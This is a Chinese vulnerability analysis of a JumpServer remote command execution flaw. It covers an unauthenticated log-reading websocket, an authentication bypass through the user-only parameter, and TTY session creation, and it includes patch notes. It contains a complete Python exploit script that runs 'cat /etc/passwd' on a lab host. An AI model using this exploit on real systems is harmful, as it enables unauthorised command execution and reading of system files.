2 ^6 _) g3 c% G- }8 F% _图片6 |) A( h! `0 R' L/ e- [, j! m

1 P0 {/ {: u- e7 V4 f上文通过/api/v1/authentication/connection-token/接口获得的20s有效期的token可作为/koko/ws/token/接口的有效"target_id"参数值,从而建立websocket会话。  e( ?: e# ]8 d2 j' U3 y# A0 ?
( D  |% u2 r+ t# r2 a+ h+ _7 H
ws://192.168.18.182:8080/koko/ws/token/?target_id=0a14ec3d-312f-44e0-8224-da1a4151f32e! O4 C2 E4 ~) b8 H
图片
. U% e8 [* u2 ?: t5 E% ?/ ?4 D' c7 n
: \8 h. Z/ p8 \0 D0 c4 r! [借助脚本进行websocket通信
4 X  w% u0 R  X3 C+ @+ H+ f6 ~/ T0 c' r
import asyncio8 ^6 [5 s: I% x' o7 `
import websockets2 H4 e) G) F' ^+ g; A; o* F6 d# ~
import requests5 v- E* R, h- Z
import json
5 g- L+ t, ]9 q7 z" }url = "/api/v1/authentication/connection-token/?user-only=None") ~$ n; B$ j# Y6 s! e
# 向服务器端发送认证后的消息
: {# O  T7 z! c0 o! ]7 c/ ?. pasync def send_msg(websocket,_text):
. Y3 j0 U2 f/ T* S! Y( U+ A  }; V0 ?& w    if _text == "exit":
/ \8 n  X  x: M+ V8 g6 l; m/ C        print(f'you have enter "exit", goodbye')
" q6 n$ U, [! b4 X: V5 O( n% R        await websocket.close(reason="user exit")5 G4 C. ~5 y8 g3 j5 c0 }
        return False% f: R+ j, b8 ?. w
    await websocket.send(_text)
2 Y; u) O3 }% p  ~6 b    recv_text = await websocket.recv()7 G6 B$ t; O9 h# u0 w
    print(f"{recv_text}"); K  a0 }9 f4 c) S  m. E
# 客户端主逻辑, s3 u" N# z! j' t" n
async def main_logic(cmd):
# Q/ E& i3 U, j5 Z6 ~    print("###start ws")$ K8 U/ u9 v) a8 D& W+ i2 d5 Z
    async with websockets.connect(target) as websocket:
+ `1 N( j4 n. M& w' I7 v" p3 s        recv_text = await websocket.recv()
0 P8 n6 Y. d9 l5 x8 ?; g6 q        print(f"{recv_text}")
+ j1 v* y; h8 q1 I# ?        resws=json.loads(recv_text)) g, ?- N' \* F/ K, X$ Y
        id = resws['id']! p5 @. m! @+ M* ?- l( h" N0 P
        print("get ws id:"+id)8 h" l) d9 p  q: C6 q! ?2 m8 H
        print("#######1########")  D/ u& x$ O0 }" f% r
        print("init ws")! X" i6 y: `: |7 n* i* n  D' ]
        print("#######2########")
2 w1 V* Y* K/ Y. S+ h' K- O" q) R        inittext = json.dumps({"id": id, "type": "TERMINAL_INIT", "data": "{\"cols\":234,\"rows\":13 }"})
4 p4 @! F& S  Q5 c        await send_msg(websocket,inittext)
, i0 w9 ~8 T) c, N# `        print("########3#######")& L+ y& p1 t$ P
        print("exec cmd: ls")
, D4 l4 x7 d5 L6 W, m        cmdtext = json.dumps({"id": id, "type": "TERMINAL_DATA", "data": cmd+"\r\n"})
& k+ `; l2 f( B" e        print(cmdtext)4 K9 M5 X9 X) g# g
        await send_msg(websocket, cmdtext)
& h9 T  Y7 T' L0 F        for i in range(20):
, @8 l/ M2 P# A& X            recv_text = await websocket.recv()
, Q  D' Q1 z* \5 T5 o: \            print(f"{recv_text}")
* g/ r$ i% \# Y; C        print('###finish')
1 b4 D1 h1 I' L* Hif __name__ == '__main__':0 X( X, k: b; D, C7 D! Y
    host = "http://192.168.18.182:8080"3 f2 z- k5 t; L1 j
    cmd="cat /etc/passwd"* ~# \, N2 \. `; B7 P" A
    if host[-1]=='/':# t% q/ H+ h( n
        host=host[:-1]
( h+ j( h% {) F- s5 K    print(host)1 F) [4 d( l* h5 y
    data = {"user": "f26371c9-18c3-4c4e-979f-95d34ffdb911", "asset": "fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f",
7 b8 v; M" `: E+ ^5 y            "system_user": "a893cb8f-26f7-41a8-a983-1de24e7c3d73"}
4 u8 L% [" C7 L. L* [    print("##################")2 @7 W8 g! A# d# O- C
    print("get token url:%s" % (host + url,))
; ?/ p3 M, X% i8 C# Y8 s    print("##################")
. g/ {# g* ?5 B: }& B    res = requests.post(host + url, json=data)
9 q$ K3 |0 l7 v8 z) E    token = res.json()["token"]: G. r- |" t0 j; L* \+ Z( b
    print("token:%s", (token,))' x. [6 G( W, P% |9 x; m. E
    print("##################")
' o) J/ ~1 K& o: E' D8 P    target = "ws://" + host.replace("http://", '') + "/koko/ws/token/?target_id=" + token
; k4 F( o0 h+ i# f    print("target ws:%s" % (target,))3 E" d6 D# V5 [2 W1 F% G1 k
    asyncio.get_event_loop().run_until_complete(main_logic(cmd)# r7 W) q9 s+ k
成功执行 "cat /etc/passwd" 命令! ?# b8 c* E( o/ Z% |- h

: B. O2 g" D* E, c2 I' {7 Y2 v$ J/ B; e图片
  N2 n) Z, D# q6 w) f
. o- L- `$ R- h7 B) \利用条件
+ l) [: p3 m2 `# \' j* l1.web终端登录方式为免密自动连接。
+ ^1 F: ?9 H7 a- h+ ^
7 k. H- [* ]6 z& F若配置为需要输入密码的手动登录,只有在攻击者已知目标资产登录密码(不现实),或此时系统用户与目标资产的会话连接未中断,从而让攻击者有机会复用SSH会话,漏洞利用成功,显然这种配置下漏洞利用大多失败。
& H4 n" g5 F$ t( M7 k7 s" Q8 S* \3 [
图片
( y+ L' y& V2 E8 ^; @. I
2 f: v" \+ p; @0 E; }, k( D当系统用户退出登录,由于没有可复用会话了,系统要求重新输入密码,否则无法建立连接。漏洞利用失败。0 f6 |' K2 F. `
, l, v* `' U( i  _" K$ D$ e
图片
* A( s& i" i6 O: _# _/ v8 V4 |: o- z1 a$ Q. I: k9 I2 ^
只有在系统用户登录模式配置为“自动登录”,即系统用户使用web终端操作时资产无须输入密码
. t7 n% L0 _# i5 E" V# `+ L- v- j# h7 E, @" r% G6 G$ m4 Z% b
,可直接建立连接(某些情况下需要“自动推送”系统用户至资产才能实现免密连接),这种配置下,该漏洞才可被攻击者稳定利用。- ?, J0 [6 l; F8 _6 U% h

: X3 A- p; r# d; M% p; p8 ~开启自动登录和自动推送。
  d+ \, m+ ?$ C, Z4 C* w4 u( y5 N& n1 F# f$ r" M
如果选择了自动推送, Jumpserver 会使用 Ansible 自动推送系统用户到资产中。  U% b+ g/ f7 Q9 G$ Y
! F8 U( S* M" E
图片
& ?( t- r4 ]+ S* k' V, }0 h9 C! V* u$ @! Y5 ~. b9 }
此时连接web终端不需要输入密码了,直接利用系统用户预存的密码建立连接。+ Z$ r' }6 \5 E# j% w
; ?3 H8 R; e4 F; {: }3 C
图片
* ^. I0 ^' `0 @" l* L: O5 V  B/ n2 d  V1 a! z
这时我中断会话,再次测试,成功执行命令,此时不是复用SSH连接,而是直接连接,建立会话,从而执行命令。( r7 R$ _# _' O1 ~& u

$ j  G3 y9 I' j0 N* O1 `- c/ d& C图片" O8 f; W! b1 j& r% _5 Q
8 q& F4 Z) o. s
jumpserver通常的配置都是自动登录的,这一条件容易满足。
* f8 |$ ^$ I/ R1 }0 a. [: K
+ ]8 W9 ^* W* y2.系统用户在web终端与目标资产建立过连接。
4 `8 \7 `  ^1 l( N) x) f  i
. \" \* N2 |; u$ l! D" e只有系统用户在web终端访问过目标资产,才能在日志中留下访问记录,我们与目标建立连接的必要参数均在日志中获取。
/ V0 g. S: l# X! K8 S, K# Q
) l; o0 g; X% Z; I, z# A3.系统日志路径已知
/ v/ q1 x3 h" R/ \& d) _" g+ ]! \& v2 q2 P/ Y% y
系统日志路径默认为/opt/jumpserver/logs,一些项目刻意修改日志路径会使得漏洞难以利用。5 y( h- f+ p! ~$ h, W

& k0 {& z8 @* w* E& L2 E攻击流程回顾
4 X; ?5 `7 d" t, \% O1.未授权的情况下通过 /ws/ops/tasks/log/ 接口建立websocket连接,读取日志文件
6 O! r) X2 V9 D# [% c! p* b3 d8 ^
0 s, ~, f3 u7 W2.在日志文件中获取到用户、资产字段值、系统用户(user_id、asset_id、system_user_id)
- v1 Q: W' ^/ l$ `& h* f) ?
: v( `. A, Y( R! }! Z% G' J3.携带这三个字段对 /api/v1/authentication/connection-token/ 或/api/v1/users/connection-token/接口发起POST请求(同时借助user-only参数绕过认证),得到一个20S有效期的token
5 p8 l1 {0 t1 O9 U/ P1 j6 L5 L3 F7 ?  {. T
4.通过该token与/koko/ws/token/接口建立websocket连接,模拟Web终端通信,执行命令。
" }) F& ~- y* w/ b6 X& m) O" c" H: l" i7 G2 k5 ?0 t2 c
图片( ~) T  \" S; s( X1 ^( l( R
* Y9 V9 b) V2 E
0x03漏洞分析' v. |6 f8 p1 Y4 v/ b9 I
日志文件读取3 L, O# x# T+ g/ @! n. T
读取日志文件的接口为ws/ops/tasks/log/7 k1 W$ `0 l8 {  }8 U( s$ K2 j3 i
. m/ C2 a9 O! Y# G; E
图片5 g8 p, p, O6 W' i

2 g9 D' h: w" q# p  F3 |- \分析apps/ops/ws.py#CeleryLogWebsocket,connect()方法定义该接口直接连接,无认证
/ d, i) i& s9 [* t1 O
4 i; M/ {3 V) _. b$ x图片
3 O4 F0 f2 Z  z; K! s( [! K* B" U8 `1 i& J; v4 u  F8 C. C* d5 u4 T6 p+ n
receive()方法要求请求data要携带task参数,随后会将“task”值传给handle_task()
+ V3 C" e3 d* T( S% W& B: k- R6 j
图片  {0 g+ C  Y9 \- t) h

: Y+ Z9 J6 B4 [; j" E* K. {self.handle_task(task_id)4 |; L, L) b7 G) A2 }+ i9 h7 a, w/ L

+ ?( i, i+ N1 u9 p) ~-->self.read_log_file(self,task_id)
! I* n, w0 i9 C, Z3 k4 E; ^$ Z5 W
-->self.wait_util_log_path_exist(task_id)
) N: A, Q8 w1 d' r3 V
6 R; w; H% H6 Y; v! P--> get_celery_task_log_path(task_id),获取目标文件路径的方法,系统自动为路径末尾添加.log后缀,也就是只能读取到日志文件。& e6 {8 v3 O* A3 Y& }
! v8 J5 X& |9 ~/ S& y
这里也是“task”参数值中的文件路径无须携带.log后缀的原因。: x) `0 Y5 J0 [. m4 n

' H' R( l8 v: J+ k6 {+ T# S/ R5 E图片
" q# b0 `0 U9 Q* u$ C% ^( c5 D  G- c# T. `) b0 C6 Q5 R
当系统连接资产时,会调用 validatePermission() 方法检查用户是否有权限连接,通过三个参数进行校验,分别为用户ID、资产ID、系统用户ID,三个参数值长期有效,可被进一步利用。4 ~5 {! q9 W: s: E% g

* D% G6 q2 H5 a( M# T  I" o图片* w4 A) v9 {+ {# b) |+ ^# k
$ o$ ^2 W1 k8 F( e. D( V4 j
图片
9 D+ ~% ?4 X: a9 r  T+ }
# Z: V6 l9 M8 h* z# U, d对应的接口是/api/v1/perms/asset-permissions/user/validate,请求记录均可在日志文件中找到
/ P( Q, o5 t* U3 a( P
9 p6 r  J( ^+ S( o% Q$ b! ]. Q9 h图片
6 |! r* `; t* w* N! {7 a  v* ]2 P' Z7 K5 d
绕过身份验证获取token) b5 h! U: T: E4 }
apps/authentication/api/auth.py,请求url中存在'user-only'参数且有值,则其权限为AllowAny,即允许访问。) |2 r0 l3 @: ]. d

0 A: `) W1 v$ {- P: _图片
# U' h7 N/ d/ T. c0 ]0 T' h! z, |7 j8 g. \; O2 k
分析apps/authentication/api/auth.py#UserConnectionTokenApi类,可处理get、post请求。
4 }. ^( Y( m& c% @. C& Q0 I( Y: H) U! E* q% O/ e% v9 I  |( A" Z2 `
get请求处理函数取URL中"token"和"user-only"参数,合法请求会根据token返回user信息。
; J2 Z6 w, w" D0 }$ v# l! z: m$ `# n- W: e8 e9 o
图片( x. b7 J# ~- Z" v% Z0 k8 U

; O! i: P# w6 a2 s# Dpost请求处理函数要求data数据中携带"user"、"asset"、"system_user"参数,同时系统自动生成一个20s有效期的token,合法请求会将这个token返回。6 U0 p' i7 C4 m7 i) N& W) P7 g

! p* B( `! S8 X图片
0 L9 n3 I1 z9 L' R) n" ]' F* d, z( r6 s
apps/authentication/api/auth.py#UserConnectionTokenApi类有哪些地方使用,共两处8 F. m& l) L0 h2 a! H* B8 P

4 v% B. c6 d& f% M0 d/ @3 p图片
9 e$ t, A% L% ]# i0 f+ e/ ~  c9 M/ l7 a" E. g0 d1 o
刚好是官方公布的接口,这两个接口数据处理逻辑一致,所以利用的时候两者均可得到token。
8 _4 x& ]6 c; R8 K- V  K  p
6 N5 k' L6 b$ A/ R6 ]5 @) F/api/v1/authentication/connection-token// [: |' U0 n2 Y* M! G, n4 y
/api/v1/users/connection-token/; T# m7 R- L- ~6 f
Web Terminal 前端项目 luna/src/app/services/http.ts 中有对/api/v1/users/connection-token/接口的Get请求代码,这里携带不为空的user-only参数,是为了获取token对应的用户身份所有信息而不是单个字段。 https://github.com/jumpserver/lu ... pp/services/http.ts
* o$ b4 L% i/ A% ~" G0 \8 E# W6 S' }$ j  P$ ?; n& T
图片
( U. V6 x8 h9 |/ S6 f3 U
; w) p! h' V0 A/ O8 w  gwebsocket建立TTY终端会话
1 w! ~+ l- l# q5 M7 Z9 n* K这个漏洞是通过websocket通信建立TTY终端,从而执行命令。
3 O8 d! h' Q+ R" C% Z
9 Z7 `' W# d+ v; o: {! FJumpServer中KoKo项目提供 Web Terminal 服务,分析系统中可建立TTY会话的几种方式。
* j  l, N( w! q& x7 m% E5 K8 L1 x) g' n1 k
https://github.com/jumpserver/koko
5 w* N/ T$ F" r5 N* e6 T
! e3 z1 w/ r, n! w/ T9 R& S( g建立TTY会话主要通过koko/pkg/httpd/webserver.go中runTTY() 实现
& {0 W; g& M: x' O7 k# T
$ H6 r& F% a& e图片
! r! ]0 ?9 v( N; U( m' G1 S
; p& l' d" }6 _0 \6 z只有两个接口可以进入runTTY()方法,分别是processTerminalWebsocket和processTokenWebsocket方法
( B# {1 o$ n) `* P" O) |) T4 r/ T4 h/ [) V6 G8 o
图片! I+ Y  G! Z+ F2 X
! O. V( R. z$ `& [1 ~1 W7 L9 F
对应API为/koko/ws/terminal/ 和 /koko/ws/token/ ,接口handler位于koko/pkg/httpd/webserver.go#websocketHandlers()- E. x/ T! N7 z+ u- v) r

7 R  U8 G% k% V9 n图片3 C  U. x" x2 {0 K: Q: ~
2 \  W* q5 T/ w: ]
/koko/ws/terminal/
9 M6 j- ]. E  X+ E系统中通过“会话管理”下“web终端”功能连接资产时,使用的是 /koko/ws/terminal/ 接口
# r2 N( I1 A: s* C5 B) X+ H; F' j) v7 S3 J, f5 ^3 G! F
图片! w1 Z8 Q2 O. T
" j3 L0 G  Q+ z$ D; L5 w0 \
ws://192.168.18.182:8080/koko/ws/terminal/?target_id=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f&type=asset&system_user_id=a893cb8f-26f7-41a8-a983-1de24e7c3d736 m  v8 w0 p9 l7 l: Y/ R; d% t
进行websocket通信
- J6 T3 L- J( B, P# s! G
9 L! T- w# t. k, z( S图片
) b' R+ \; [1 a, o
$ o, E8 z7 {2 W. JprocessTerminalWebsocket函数处理 /koko/ws/terminal/ 接口,要通过这个接口成功登录控制台需要一些必备参数,包括type、target_id、system_user_id,其中target_id为目标资产ID,system_user_id表示系统用户id。  s2 e. A  q2 h: e7 w/ \" ~4 \
8 s7 N/ R. @9 i- ^; t: B" A" y+ p
注意:/koko/ws/terminal/ 接口的target_id与/koko/ws/token/ 接口的target_id虽然参数名一样,但却是两个完全不同的东西。% s; M5 D+ L$ ?0 I1 `
' E0 m/ t# L/ V* q  c% O4 @. h
图片  g" p! p! J9 O* U

5 l" ?" I$ b% Y8 A! B系统对 /koko/ws/terminal/ 接口通过?middleSessionAuth() 进行会话合法校验。/ A( ?% x5 Q( U2 y; i

$ H. h" l0 K) W; f4 Y注意到 /koko/ws/token/ 接口却是无此类限制的。9 U5 \& i2 c7 ^

) Q, |) d$ f, Z* V% g; c( b, s图片- t% V0 D$ q' N

2 D# d8 ?2 K% a$ y$ O& K/koko/ws/token// i7 ?3 [+ C$ x6 [; _; V
/koko/ws/token/ 接口的处理函数位于koko/pkg/httpd/webserver.go#processTokenWebsocket,要求get请求携带“target_id”参数,系统会将该参数传递给 service.GetTokenAsset() 方法,获取token对应的user,从而建立TTY会话。$ d$ N" W, {; M8 `
; A# ~2 M. t: g9 u
图片9 G  L( R, {9 U: ~* T
2 _+ T. j. D$ Z3 s4 ^3 ~2 R
发现 GetTokenAsset() 是将“/api/v1/authentication/connection-token/?token=”与token值进行拼接,并发起Get请求,来获取用户身份的。
0 d, b2 k7 J3 x
# R+ x$ h- U+ i5 {, e( e7 i& q图片
7 O! f- Q6 L4 z3 Y: V! [
& L! m$ z, p8 A; _图片
- \. l* }9 k. H/ U
% T# t. U6 I, q1 @" N& v上文分析过 /api/v1/authentication/connection-token/ 接口,Get请求处理函数中定义,若仅携带有效token,则返回该用户所有信息,若同时携带token和不为None的user-only,则返回用户信息中的'user'字段值。
4 S3 E8 t- Y6 B0 D# d
" a6 o/ s1 Q: _  x5 d  o% q图片. E& c# l/ ?2 N4 L

# u- T# w( Q6 j0 n本次通信则是仅携带有效token,从而获取该用户所有身份信息。7 b' T/ |. J' W# k3 C

% p/ `) K' H8 z" ~; g, n图片
# I( J7 b  u+ e8 Y7 O' {8 k& C; ^/ T/ V* L" H. U- E* f- @3 s
综上,一个有效的“target_id”即可调用/koko/ws/token/ 接口进行websoket通信,从而建立TTY会话。0 X* M' X0 M, ~1 U  q2 I% b
6 D/ Z; f1 N/ i4 X) c
ws://192.168.18.182:8080/koko/ws/token/?target_id=845fad2b-6077-41cb-b4fd-1462cca1152d
$ [8 F9 B( d. C! @# C! ~{"id":"8fd8b06e-dfd6-45b4-aeb7-9403d3a65cfa","type":"CONNECT","data":""}4 `1 X3 O' ^  v& U' |8 r
{"id":"8fd8b06e-dfd6-45b4-aeb7-9403d3a65cfa","type":"TERMINAL_INIT","data":"{\"cols\":140,\"rows\":6}"}' h# @5 W9 r6 k+ K2 S( D
图片
6 Y' R0 z0 Z5 h6 h1 G3 `/ |8 y6 K
  v) I7 m+ B: i0 A, D而这个有效的“target_id”则通过上一章节“身份验证绕过”中分析的 /api/v1/authentication/connection-token/ 或 /api/v1/users/connection-token/接口来获得,需要在20s有效期内将token替换为target_id参数值来使用。
4 `( `/ J2 ]) M6 c- q0 z  V$ Y; y' w5 X- E+ Z3 s2 }! p" Q
补丁分析
  A# a' `' V, [漏洞整体分析下来,最关键的几个点,身份验证绕过以及websocket通信接口无校验,官方发布的新版本对其进行修复。
" [. ^" f2 q: C) q; P7 }' G8 h5 [# [: k2 p5 N2 p7 `
https://github.com/jumpserver/ju ... d1ccf19d683ed3af71e1 ]! Z- @& G* H1 L8 a* U7 Y9 ]" T, ]

* {; @1 U3 I$ x% t4 q; s/ {图片) q# l1 A+ @" [1 w/ N
( G3 y  C4 m8 `* f) w$ P
0x04关于websocket
, C, g# Z% y# f7 `& \9 ^WebSocket 协议诞生于 2008 年,在 2011 年成为国际标准,WebSocket 同样是 HTML 5 规范的组成部分之一。
! M* A8 w% Z0 r% u4 D  g/ @3 e3 c- s$ B
HTTP 协议是半双工协议,也就是说在同一时间点只能处理一个方向的数据传输,通信只能由客户端发起,属于单向传输,一般通过 Cookie 使客户端保持某种状态,以便服务器可以识别客户端。
8 G# z4 M' P2 y4 N5 l% x3 h2 [! f5 O  j( K
WebSocket的出现,使得浏览器和服务器之间可以建立无限制的全双工通信。WebSocket 协议是全双工的,客户端会先发起请求建立连接,若服务器接受了此请求,则将建立双向通信,然后服务器和客户端就可以进行信息交互了,直到客户端或服务器发送消息将其关闭为止。  S2 l) w% |) J$ c8 V% t
7 b! r: S. L5 G4 E' v+ h. s
WebSocket特点:
4 u5 s7 g1 `/ g7 V" y! Q9 o! v- Z
. K7 w- w4 F' c! D# X1.默认端口是80和443,并且握手阶段采用 HTTP 协议,因此握手时不容易屏蔽,能通过各种 HTTP 代理服务器。3 h6 l4 R" s* K2 L  w0 [+ x4 O' g
1 ^& G- r1 ^' w! n/ C, r1 g# j5 c
2.可以发送文本,也可以发送二进制数据。0 U; d7 a) l1 K. k6 _

% \3 [* k( I9 h  E6 ~9 s3.没有同源限制,客户端可以与任意服务器通信。" t# m: t0 t* F7 C8 Y  J" H2 q

* J7 T4 n8 x8 [# s) m8 o% G4.协议标识符是ws(如果加密,则为wss)
2 U8 R6 W: |3 O4 p$ I
* V8 R5 C6 A2 O: ?: v+ ~0 `" aWebSocket通信
/ c& G; U8 o2 N! XWebSocket并不是全新的协议,而是利用了HTTP协议来建立连接。; [$ `- P5 [1 i9 b$ y" J3 p" S

' z: j& ^8 g% l8 I) G" E图片2 H- B# d- o+ Q) [& ~* h! k
) {; r$ H+ X$ y+ i4 [
建立连接& v" h, w, Q' {1 H
客户端请求报文:
! s7 C, Q9 [- U/ p
1 c+ w! q( m: e- r! x# @# A  LGET / HTTP/1.1
. e" h. D( v/ B6 N6 cUpgrade: websocket+ H, N- U, K5 ?
Connection: Upgrade: _: B% Z+ B$ M: M
Host: example.com
: m$ o9 `0 ]6 \! e, D5 H  UOrigin: http://example.com! G$ a% q* Q- |: \
Sec-WebSocket-Key: sN9cRrP/n9NdMgdcy2VJFQ==0 R, W% \# B6 a: J! p9 ]
Sec-WebSocket-Version: 13" Q! L* X7 r5 b5 W  r, B
Connection、Upgrade字段声明需要切换协议为websocket
' [5 v* x$ \/ Z  o! [Sec-WebSocket-Key是由浏览器随机生成的,提供基本的防护,防止恶意或者无意的连接。) D5 R% I: A  l
Sec-WebSocket-Version表示 WebSocket 的版本,如果服务端不支持该版本,需要返回一个Sec-WebSocket-Versionheader,里面包含服务端支持的版本号。: {, e+ [6 w8 P) G* X0 u+ \

0 o+ b9 @5 o! r8 C1 w! f服务端的响应报文:6 H  q# Y6 K+ H! i
( W( u% p( {1 Q; C) t+ D9 D1 p
HTTP/1.1 101 Switching Protocols; a' z5 W& a. h) d" K2 X" ]) @
Upgrade: websocket
, O/ {) |' {% o. F& L1 i4 P( D4 @Connection: Upgrade
6 a2 E0 ^7 A/ r1 z6 R9 _* RSec-WebSocket-Accept: HSmrc0sMlYUkAGmm5OPpG2HaGWk=
/ J% ]) ~! S, d% a7 K$ y' O0 u& Z! bSec-WebSocket-Protocol: chat
3 {( [7 y& G- ?8 {( c6 uUpgrade消息头通知客户端确认切换协议来完成这个请求;
& A9 x. T, @2 `8 `8 P, l
0 a! g# p" J/ B- E9 P# S; sSec-WebSocket-Accept是经过服务器确认,并且加密过后的Sec-WebSocket-Key;
3 |8 w( F) X  _- V1 U; T% Y5 Q) k- A8 Z. _" b% D, P# \
Sec-WebSocket-Protocol则是表示最终使用的协议。+ k; e6 k* c1 w! I

! K0 y6 K, `" Y  [, @注意:Sec-WebSocket-Key/Sec-WebSocket-Accept的换算,其实并没有实际性的安全保障。( Z* k7 s' s% l! N0 U) S
7 T8 J9 @5 j8 u6 D* D# ?- {
进行通信
5 D2 [4 a+ o( F# r3 t) S6 b服务端接收到客户端发来的Websocket报文需要进行解析。
4 c2 G* ?: R, a1 D. l4 Z4 P; P2 \- a, L) n) Z2 w6 `% A; \
数据包格式4 i1 k7 F2 f# o6 P3 M" O: v$ B
# `# Y  @/ q  u0 ?  e
图片) j: s( J8 I; ^5 \6 Y/ _7 }/ \
/ S3 \: x% A6 K, ~0 G. M
Mask位表示是否要对数据载荷进行掩码异或操作。
! d2 f7 w4 F# _& ^6 `* p0 d2 G/ A1 ~2 B7 _9 w- m* S6 m. n
Payload length表示数据载荷的长度。& G8 l1 B  m7 ?! l: U
* u  n; N- V+ m7 G
Masking-key数据掩码,为防止早期版本的协议中存在的代理缓存污染攻击等问题而存在。3 i0 B) w  G% Z) F2 P/ a
* G9 F# N# F( L3 y2 D4 `
Payload Data为载荷数据。
2 a) T# I! U# @
# O/ K  E$ |% h4 M服务端返回数据时不携带掩码,所以 Mask 位为 0,再按载荷数据的大小写入长度,最后写入载荷数据。. x! _9 _# ~+ Z* f
' v6 U, n1 G; g9 b
心跳
; T: N6 F3 w8 jWebSocket为了保持客户端、服务端的实时双向通信,需要确保客户端、服务端之间的TCP通道没有断开。对于长时间没有数据往来的通道,但仍需要保持连接,可采用心跳来实现。  w+ C7 ?1 `; J% h9 u

% w. x: v( ?# a% h发送方->接收方:ping
  j% U. g) @+ N% t( ^: O% O# t7 s! V' n! h' X* p; m8 a2 a
接收方->发送方:pong
9 A' z0 A5 {% N  Y. h& {) Y  z0 R* h/ m3 z
ping、pong的操作,对应的是WebSocket的两个控制帧,opcode分别是0x9、0xA。
% z( G  y; w2 A& k9 j% s
2 p) W. Z* o$ g: V4 c' z关闭连接2 Y- N; @4 u# C4 V9 y! Y6 d
关闭连接标志着服务器和客户端之间的通信结束,标记通信结束后,服务器和客户端之间无法进一步传输消息。
# z6 V+ t0 J( j( ^+ o" I3 f0 u5 P& @: |( t& G+ ?* ?, P% }8 m# i
Web Terminal实现8 \' n5 O1 f6 V! M' r1 e
通常所说的Terminal是指的终端模拟器,一般情况下终端模拟器是不会直接与shell通讯的,而是通过pty(Pseudoterminal,伪终端)来实现,pty 是一对 master-slave 设备。
! T! `( r# L4 w& u: H+ b0 h# Q  h8 r8 t) I9 ]# N8 i# S
终端模拟器通过文件读写流与 pyt master通讯,pty master再将字符输入传送给pty slave,pty slave进一步传递给bash执行。" X5 w9 s$ Y/ Q& q( C

* f% X$ |% B6 Y$ m6 m( [4 vWeb Terminal则是实现在浏览器展示的终端模拟器,前后端建立WebSocket连接,保证浏览器和后端实时通信。; f. n5 `. U7 H  B& G3 }5 l

$ E; ?* s( n6 p3 A实现思路:' s( E! R# H; D
% ?% _& i# R6 \8 i* z% c
1.浏览器将主机信息传给后台, 并通过HTTP请求与后台协商升级协议,协议升级完成后, 得到一个和浏览器的web Socket连接通道
9 x( b4 n0 n6 y! A  d, _( b2.后台拿到主机信息, 创建一个SSH 客户端, 与远程主机的SSH 服务端协商加密, 互相认证, 然后建立一个SSH Channel
' v' d7 M" A# e; C3.后台和远程主机有了通讯的信道,然后后台携带终端信息通过SSH Channel请求远程主机创建一对 pty, 并请求启动当前用户的默认 shell
6 z3 k3 e9 R+ }) H6 l$ z4 J1 o1 Q) N4.后台通过 Socket连接通道拿到用户输入, 再通过SSH Channel将输入传给pty,pty将这些数据交给远程主机处理后,按照前面指定的终端标准输出到SSH Channel中, 同时键盘输入也会通过SSH Channel发送给远程服务端。
! ^9 U9 r$ ]9 z- W8 p0 y5.后台从SSH Channel中拿到按照终端大小的标准输出,通过Socket通信将输出返回给浏览器,由此实现了Web Terminal, R9 D6 {' `& w4 B+ D
, D) \2 h( I3 m0 ?
图片) i0 T* {/ J* c' T

5 C7 B" C2 W. X( yJumpServer中websocket通信基于https://github.com/gorilla/websocket项目实现,Web Terminal功能实现思路与上文描述基本一致,这里简述浏览器与后端进行websocket通信流程。
  z0 g4 r, l; u+ q% y
5 b0 e9 l1 B. p; M4 G图片
8 i2 C" y/ l# \# ^6 H  A* ?* v8 [
. q/ m2 @4 X1 b- O携带多个参数对 /koko/ws/terminal/ 接口发起Get请求,初次握手,提出Upgrade为Websocket协议
6 E$ R: m! |) C! x; j( N7 N! j9 m  p
GET ws://192.168.18.182:8080/koko/ws/terminal/?target_id=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f&type=asset&system_user_id=a893cb8f-26f7-41a8-a983-1de24e7c3d73 HTTP/1.16 q: \$ T8 s$ j  [1 R. H
Host: 192.168.18.182:8080
0 \/ ~& {0 @5 H' d+ q) B9 PConnection: Upgrade$ f& T; ?  Y0 d0 J" ?( C4 [
Pragma: no-cache
$ L; I6 C; l  l0 z2 Y# |3 o6 P, rCache-Control: no-cache* {0 c) R' S* Z' @
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36: H9 Z# B1 j# s) ^9 F+ {
Upgrade: websocket! }, ?1 B% a9 L9 N
Origin: http://192.168.18.182:8080
5 w, b/ A1 b( D+ C! jSec-WebSocket-Version: 13
+ R- j6 h1 ?% A( V) j3 U9 zAccept-Encoding: gzip, deflate) |4 [* b) H. A$ |
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
4 R# G# y+ R( z& o, |Cookie: csrftoken=0ZhWpozQIlm3fpJZRKP0vWcEm32JOlSSbtTBYmqlnHgrSwlMgXdJW0hnx4qJrT5s; sessionid=lbfnuoizl0mnixrwyo036ze65z7vfip0; jms_current_org=%7B%22id%22%3A%22DEFAULT%22%2C%22name%22%3A%22DEFAULT%22%7D; X-JMS-ORG=DEFAULT; jms_current_role=1465 F' ?! E' f; X& Z; ?' }
Sec-WebSocket-Key: Cuf/c4n9TH20PU4HpCP4qQ==8 |: Y! G7 m& i$ C' y
Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits& W2 `+ M+ K7 B4 y& v4 W8 [
Sec-WebSocket-Protocol: JMS-KOKO& {% e+ h1 X2 Q( P( m
服务端识别有效字段,回应握手请求,同意upgrade为websocket协议,允许后续进行socket通信。1 c* ^! j6 ^& p* N" }
3 t# ^1 t3 b; V0 \4 _
HTTP/1.1 101 Switching Protocols
/ ]0 a9 }6 U$ s6 O) O9 a, v! DServer: nginx
* J3 Z: M8 ~( YDate: Mon, 01 Feb 2021 17:29:47 GMT4 y4 s2 t) H  F
Connection: upgrade7 L% h( G4 O( N+ k# h( Z
Upgrade: websocket# N$ G5 `- ?0 a1 @7 {
Sec-WebSocket-Accept: zdg0gD/H5Ev4u9hn5oIxlSVdvDg=
  c/ Y9 _7 ~! V4 o: J3 f( m2 CSec-WebSocket-Protocol: JMS-KOKO* K. i5 v4 Y" q9 j7 I# \1 V  i
注意到使用web终端功能时,系统主要发起两个请求,分别是% V& F: G. L+ \) z% @, w5 ]

